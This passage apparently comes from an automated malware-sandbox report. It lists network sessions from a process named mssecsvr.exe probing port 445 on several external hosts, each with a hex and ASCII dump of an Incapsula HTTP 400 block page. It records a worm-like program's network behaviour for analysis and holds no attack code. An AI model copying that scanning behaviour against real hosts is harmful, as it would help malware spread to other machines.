src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=14-185756604-0%200NNN%20RT%281658338360667%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-926482015573249614&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-926482015573249614</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	45.60.207.5	445	192.168.2.7	54644	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:44.559526920 CEST	10160	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 700 X-Iinfo: 11-103892133-0 0NNN RT(1658338363723 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 31 2d 31 30 33 38 39 32 31 33 33 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 36 33 37 32 33 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 35 32 39 38 32 38 35 36 35 38 37 38 33 31 32 35 32 33 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 35 32 39 38 32 38 35 36 35 38 37 38 33 31 32 35 32 33 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=11-103892133-0%200NNN%20RT%281658338363723%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-529828565878312523&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-529828565878312523</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	45.60.207.6	445	192.168.2.7	54668	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:44.698020935 CEST	10169	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 696 X-Iinfo: 7-16960724-0 0NNN RT(1658338364255 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 37 2d 31 36 39 36 30 37 32 34 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 36 34 32 35 35 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 38 35 39 38 35 31 33 37 39 32 36 37 33 38 38 38 37 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 38 35 39 38 35 31 33 37 39 32 36 37 33 38 38 38 37 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=7-16960724-0%200NNN%20RT%281658338364255%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-85985137926738887&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-85985137926738887</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	45.60.207.6	445	192.168.2.7	54880	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:47.750459909 CEST	10433	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 698 X-Iinfo: 4-29947671-0 0NNN RT(1658338367307 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 34 2d 32 39 39 34 37 36 37 31 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 36 37 33 30 37 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 34 39 38 37 35 31 37 37 33 34 31 34 35 37 33 34 38 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 34 39 38 37 35 31 37 37 33 34 31 34 35 37 33 34 38 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=4-29947671-0%200NNN%20RT%281658338367307%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-149875177341457348&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-149875177341457348</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	45.60.207.7	445	192.168.2.7	54883	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:47.885972023 CEST	10436	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 698 X-Iinfo: 3-23137902-0 0NNN RT(1658338367443 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 33 2d 32 33 31 33 37 39 30 32 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 36 37 34 34 33 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 31 36 30 37 30 33 34 38 37 34 38 31 30 30 35 34 37 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 31 36 30 37 30 33 34 38 37 34 38 31 30 30 35 34 37 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=3-23137902-0%200NNN%20RT%281658338367443%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-116070348748100547&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-116070348748100547</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	45.60.207.7	445	192.168.2.7	55120	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:50.925735950 CEST	10693	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 698 X-Iinfo: 5-37314419-0 0NNN RT(1658338370483 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 35 2d 33 37 33 31 34 34 31 39 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 37 30 34 38 33 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 38 32 35 35 33 38 32 32 35 36 30 31 32 39 39 38 39 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 38 32 35 35 33 38 32 32 35 36 30 31 32 39 39 38 39 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=5-37314419-0%200NNN%20RT%281658338370483%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-182553822560129989&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-182553822560129989</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	45.60.207.8	445	192.168.2.7	55124	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:51.053680897 CEST	10733	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 699 X-Iinfo: 11-20823054-0 0NNN RT(1658338370155 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 31 2d 32 30 38 32 33 30 35 34 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 37 30 31 35 35 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 30 30 35 33 33 36 36 39 36 33 39 36 38 38 38 34 33 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 30 30 35 33 33 36 36 39 36 33 39 36 38 38 38 34 33 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=11-20823054-0%200NNN%20RT%281658338370155%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-100533669639688843&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-100533669639688843</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	45.60.207.8	445	192.168.2.7	55358	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:54.104142904 CEST	10994	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 695 X-Iinfo: 3-6501644-0 0NNN RT(1658338373201 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 33 2d 36 35 30 31 36 34 34 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 37 33 32 30 31 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 33 31 31 33 35 35 39 32 33 36 35 38 38 38 31 33 31 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 